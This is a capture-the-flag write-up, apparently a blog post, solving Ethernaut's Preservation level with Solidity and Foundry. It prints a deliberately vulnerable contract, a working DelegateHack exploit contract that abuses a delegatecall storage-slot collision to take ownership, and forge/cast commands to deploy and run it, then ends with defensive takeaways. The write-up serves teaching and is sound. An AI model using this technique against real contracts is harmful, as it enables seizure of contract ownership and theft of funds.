Ethernaut Level 16 - Preservation
Analysis and solution for Ethernaut's Level 16 - Preservation, with Solidity and Foundry
Objectives
This level wants us to become the new owner to complete the instance.
This is similar to other levels where we solved challenges related to delegate calls and how they can be used to preserve the state and storage. It is recommended to go through levels 6 and 12 before starting with this one. Let's dive in.
Analysis
We learned in levels 6 and 12 about how delegate calls can be used to make external calls to other contracts. This is mostly used in library calls and the storage changes are replicated.
A delegate call is a special low-level call in Solidity to make external calls to another contract. Solidity By Example does an excellent job of explaining this.
Let's assume there are two contracts, similar to the one shown in Ethernaut's Delegation level, contracts A
and B
.
When contract A
executes delegatecall
to contract B
, B
's code is executed with contract A
's storage, msg.sender
and msg.value
.
This means that it is possible to modify a contract's storage using a code (malicious code) belonging to another contract.
Let's go through the vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Preservation Contract
- The Preservation contract defines some state variables, in which the first and second variable holds the addresses for the libraries and the third one is the owner in which we need to store our address. These addresses are predefined in the constructor and there's no way to change them. **wink wink**
- The variable
setTimeSignature
defines a function signature which will be used in delegate call so it knows which function name to call. - The functions
setFirstTime
andsetSecondTime
are taking a timestamp as input and making delegate calls to the libraries. So the only part we control here is the parameteruint _timeStamp
.
LibraryContract
- This is defining a variable called
storedTime
in slot 0 which maps to the variableaddress public timeZone1Library
in the Preservation contract. - The function
setTime()
is taking an input which is controlled by us and is stored inside the above variable.
To complete the level, here's what we have to do:
- Create an attacker contract (DelegateHack) and call the
setFirstTime()
function. In the function argument_timeStamp
, pass the address of the DelegateHack. - This will make a delegatecall to the LibraryContract and call the
setTime()
function with the address of the DelegateHack contract in_time
. This will be stored in the parameterstoredTime
on slot 0. - Since the Preservation contract has the variable
timeZone1Library
in slot 0, it will get updated with the DelegateHack's address. Now we have control over one of the libraries. - We will implement our own
setTime()
function in our library/contract/DelegateHack and accept an address and store it inside our ownowner
variable. - To make sure the value of the
owner
is updated in slot 2 of the Preservation contract, we will organize the slots in our contract accordingly. - Now we will make another call to the
setFirstTime
function of the Preservation contract. Since we control the library's address, the execution flow will go to our own DelegateHack contract and set the owner which will then be reflected in the Preservation contract as well.
The Exploit
Let's now look at our exploit code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../instances/Ilevel16.sol";
contract DelegateHack {
address public t1;
address public t2;
address public owner;
Preservation level16 = Preservation(0x1E422B805DC5541a09fBbf239D734313B9F42Eca);
function exploit() external {
level16.setFirstTime(uint256(address(this)));
level16.setFirstTime(uint256(0xEAce4b71CA1A128e8B562561f46896D55B9B0246));
}
function setTime(address _owner) public {
owner = _owner;
}
}
As mentioned above, we are calling setFirstTime()
first with the address of our DelegateHack contract and then again with the address value we want to set as the owner in the Preservation contract.
We are also defining a function with the same name as in the LibraryContract - setTime()
because the function signature is constant in setTimeSignature
. But our function is taking an address and assigning it to the owner variable in slot 2 which is mapped to the owner
variable in the Preservation contract since our slot arrangement is the same. This will set the owner.
Let's deploy the contract using:
forge create DelegateHack --private-key $PKEY --rpc-url $RPC_URL
Now we can call our exploit()
function to trigger the exploit and become the new owner:
cast send 0x1e36cAD4732E1EFD5Dd5dAf44C3E4c6f622D93fC "exploit()" --private-key $PKEY --rpc-url $RPC_URL
The instance can now be submitted to finish the level.
My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry
My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..
Takeaways
- Ideally, libraries should not store state.
- When creating libraries, use the keyword
library
, notcontract
, to ensure libraries will not modify caller storage data when the caller uses adelegatecall
. - Use higher-level function calls to inherit from libraries, especially when you don’t need to change contract storage and do not care about gas control.